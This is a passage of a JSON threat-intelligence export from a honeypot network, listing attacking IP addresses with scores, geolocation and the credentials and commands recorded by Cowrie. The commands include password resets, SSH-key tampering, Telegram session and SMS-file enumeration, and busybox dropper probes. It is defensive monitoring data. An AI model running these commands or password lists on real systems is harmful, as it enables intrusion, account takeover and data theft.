        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:46:19.015000+00:00",
        "last_seen_30d": "2026-03-26T07:58:00.619000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 16
      }
    },
    "64.226.101.80": {
      "attack_count": 84,
      "first_seen": "2026-03-19T07:38:34.212Z",
      "last_seen": "2026-03-19T08:08:08.053Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "cb",
        "amine",
        "posiflex",
        "pyramid"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "Amine123",
        "pyramid123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\n1flGHrzSDSDU\\n1flGHrzSDSDU\\n\"|passwd",
        "echo -e \"password\\n1flGHrzSDSDU\\n1flGHrzSDSDU\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T07:38:34.212000+00:00",
        "last_seen_30d": "2026-03-19T08:09:08.592000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 15
      }
    },
    "3.132.26.232": {
      "attack_count": 61,
      "first_seen": "2026-03-07T18:04:45.338Z",
      "last_seen": "2026-03-20T17:36:16.021Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6055,
        "days_active_30d": 30,
        "ports_targeted_30d": 164,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-03-02T08:19:23+00:00",
        "last_seen_30d": "2026-03-31T20:25:49.810000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3895,
        "Honeytrap": 1794,
        "Dionaea": 105,
        "Mailoney": 75,
        "Cowrie": 61,
        "Redishoneypot": 52,
        "ConPot": 34,
        "ElasticPot": 11,
        "Ciscoasa": 8,
        "Tanner": 6,
        "H0neytr4p": 5,
        "Honeyaml": 5,
        "Ipphoney": 3,
        "CitrixHoneypot": 1
      }
    },
    "206.135.174.231": {
      "attack_count": 50,
      "first_seen": "2026-03-18T14:32:36.746Z",
      "last_seen": "2026-03-18T14:38:08.841Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T14:32:36.746000+00:00",
        "last_seen_30d": "2026-03-18T14:39:11.968000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "36.255.33.158": {
      "attack_count": 50,
      "first_seen": "2026-03-22T07:31:23.326Z",
      "last_seen": "2026-03-22T07:36:47.617Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T01:10:17.368000+00:00",
        "last_seen_30d": "2026-03-22T07:37:48.348000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 27
      }
    },
    "66.167.169.200": {
      "attack_count": 50,
      "first_seen": "2026-03-07T14:44:51.496Z",
      "last_seen": "2026-03-07T14:50:15.935Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T14:44:51.496000+00:00",
        "last_seen_30d": "2026-03-07T14:51:24.286000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "103.26.82.153": {
      "attack_count": 48,
      "first_seen": "2026-03-10T15:59:58.605Z",
      "last_seen": "2026-03-10T16:05:10.040Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T15:59:58.605000+00:00",
        "last_seen_30d": "2026-03-10T16:06:10.920000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "20.123.146.93": {
      "attack_count": 48,
      "first_seen": "2026-03-22T12:08:48.628Z",
      "last_seen": "2026-03-31T07:43:24.557Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "astra",
        "karim",
        "pwserver",
        "rdpuser",
        "shoutcast"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "345gs5662d34",
        "Izhenqi(!@#)2024",
        "Shoutcast123!",
        "password",
        "pwserver",
        "soft.v01.cn"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 38.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.4,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T12:08:48.628000+00:00",
        "last_seen_30d": "2026-03-31T07:44:28.450000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 21
      }
    },
    "112.232.40.234": {
      "attack_count": 40,
      "first_seen": "2026-03-26T10:47:22.605Z",
      "last_seen": "2026-03-26T10:51:42.057Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Jinan",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T10:47:22.605000+00:00",
        "last_seen_30d": "2026-03-26T10:52:45.910000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "78.66.2.179": {
      "attack_count": 37,
      "first_seen": "2026-03-24T17:58:40.140Z",
      "last_seen": "2026-03-24T17:59:50.967Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 3301,
      "as_org": "Telia Company AB",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T17:58:40.140000+00:00",
        "last_seen_30d": "2026-03-24T18:01:00.569000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 4
      }
    },
    "38.188.160.80": {
      "attack_count": 33,
      "first_seen": "2026-03-10T23:11:35.640Z",
      "last_seen": "2026-03-11T00:18:21.488Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "100685",
        "200582",
        "271188",
        "animateur",
        "kri",
        "roquette"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:11:35.640000+00:00",
        "last_seen_30d": "2026-03-11T00:19:28.078000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 17
      }
    },
    "102.212.40.242": {
      "attack_count": 30,
      "first_seen": "2026-03-20T21:47:06.245Z",
      "last_seen": "2026-03-20T21:50:20.428Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Uyo",
      "asn": 329244,
      "as_org": "Connect-Surf-and-Smile-Limited",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T21:47:06.245000+00:00",
        "last_seen_30d": "2026-03-20T21:51:30.819000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "113.249.111.200": {
      "attack_count": 30,
      "first_seen": "2026-03-03T17:00:41.156Z",
      "last_seen": "2026-03-03T17:24:01.228Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123.com.",
        "Aa@12345",
        "Temp123456",
        "aaa888"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134420,
      "as_org": "Chongqing Telecom",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T17:00:41.156000+00:00",
        "last_seen_30d": "2026-03-03T17:34:03.546000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 18
      }
    },
    "223.123.73.221": {
      "attack_count": 30,
      "first_seen": "2026-03-24T18:41:21.810Z",
      "last_seen": "2026-03-24T18:44:36.224Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T18:41:21.810000+00:00",
        "last_seen_30d": "2026-03-24T18:45:37.225000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "64.227.186.31": {
      "attack_count": 30,
      "first_seen": "2026-03-02T00:59:18.243Z",
      "last_seen": "2026-03-02T01:04:46.254Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "root1",
        "root12",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:59:18.243000+00:00",
        "last_seen_30d": "2026-03-02T01:05:53.407000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 13
      }
    },
    "94.243.12.207": {
      "attack_count": 28,
      "first_seen": "2026-03-31T21:11:00.492Z",
      "last_seen": "2026-03-31T21:14:07.642Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T21:11:00.492000+00:00",
        "last_seen_30d": "2026-03-31T21:15:09.265000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "45.55.97.44": {
      "attack_count": 23,
      "first_seen": "2026-03-04T22:43:21.761Z",
      "last_seen": "2026-03-04T22:43:28.267Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T22:43:21.761000+00:00",
        "last_seen_30d": "2026-03-04T22:44:33.695000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "84.15.250.81": {
      "attack_count": 23,
      "first_seen": "2026-03-06T15:46:35.986Z",
      "last_seen": "2026-03-06T15:46:42.242Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user"
      ],
      "passwords_attempted": [
        "GM8182",
        "Win1doW$",
        "Zte521",
        "user"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox MASJU",
        "cat /proc/mounts; /bin/busybox MASJU",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MASJU",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox MASJU",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": "Vilnius",
      "asn": 13194,
      "as_org": "UAB Bite Lietuva",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T15:46:35.986000+00:00",
        "last_seen_30d": "2026-03-06T15:47:45.157000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 2
      }
    },
    "120.241.79.66": {
      "attack_count": 19,
      "first_seen": "2026-03-03T03:03:25.207Z",
      "last_seen": "2026-03-24T10:24:55.828Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed",
        "cowrie.login.failed",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56040,
      "as_org": "China Mobile communications corporation",
      "threat_score": 42.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.3,
        "persistence": 18.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 22,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T03:03:25.207000+00:00",
        "last_seen_30d": "2026-03-24T10:35:57.772000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 19,
        "Honeytrap": 2
      }
    },
    "71.6.134.235": {
      "attack_count": 17,
      "first_seen": "2026-03-04T17:24:34.746Z",
      "last_seen": "2026-03-21T11:56:32.199Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 72.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.5,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 356,
        "days_active_30d": 24,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T12:31:18+00:00",
        "last_seen_30d": "2026-03-25T09:23:45.773000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 240,
        "Honeytrap": 66,
        "Miniprint": 20,
        "Cowrie": 17,
        "Redishoneypot": 6,
        "H0neytr4p": 4,
        "ConPot": 2,
        "Sentrypeer": 1
      }
    },
    "45.148.10.141": {
      "attack_count": 16,
      "first_seen": "2026-03-02T16:07:41.339Z",
      "last_seen": "2026-03-09T16:09:10.648Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:07:41.339000+00:00",
        "last_seen_30d": "2026-03-09T16:10:19.160000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "112.35.99.188": {
      "attack_count": 15,
      "first_seen": "2026-03-20T13:20:56.173Z",
      "last_seen": "2026-03-20T13:21:01.592Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "root"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T13:20:56.173000+00:00",
        "last_seen_30d": "2026-03-20T13:22:03.845000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "38.188.160.184": {
      "attack_count": 13,
      "first_seen": "2026-03-10T23:18:21.661Z",
      "last_seen": "2026-03-10T23:46:47.707Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "310186",
        "azerty51"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:18:21.661000+00:00",
        "last_seen_30d": "2026-03-10T23:47:56.924000+00:00",
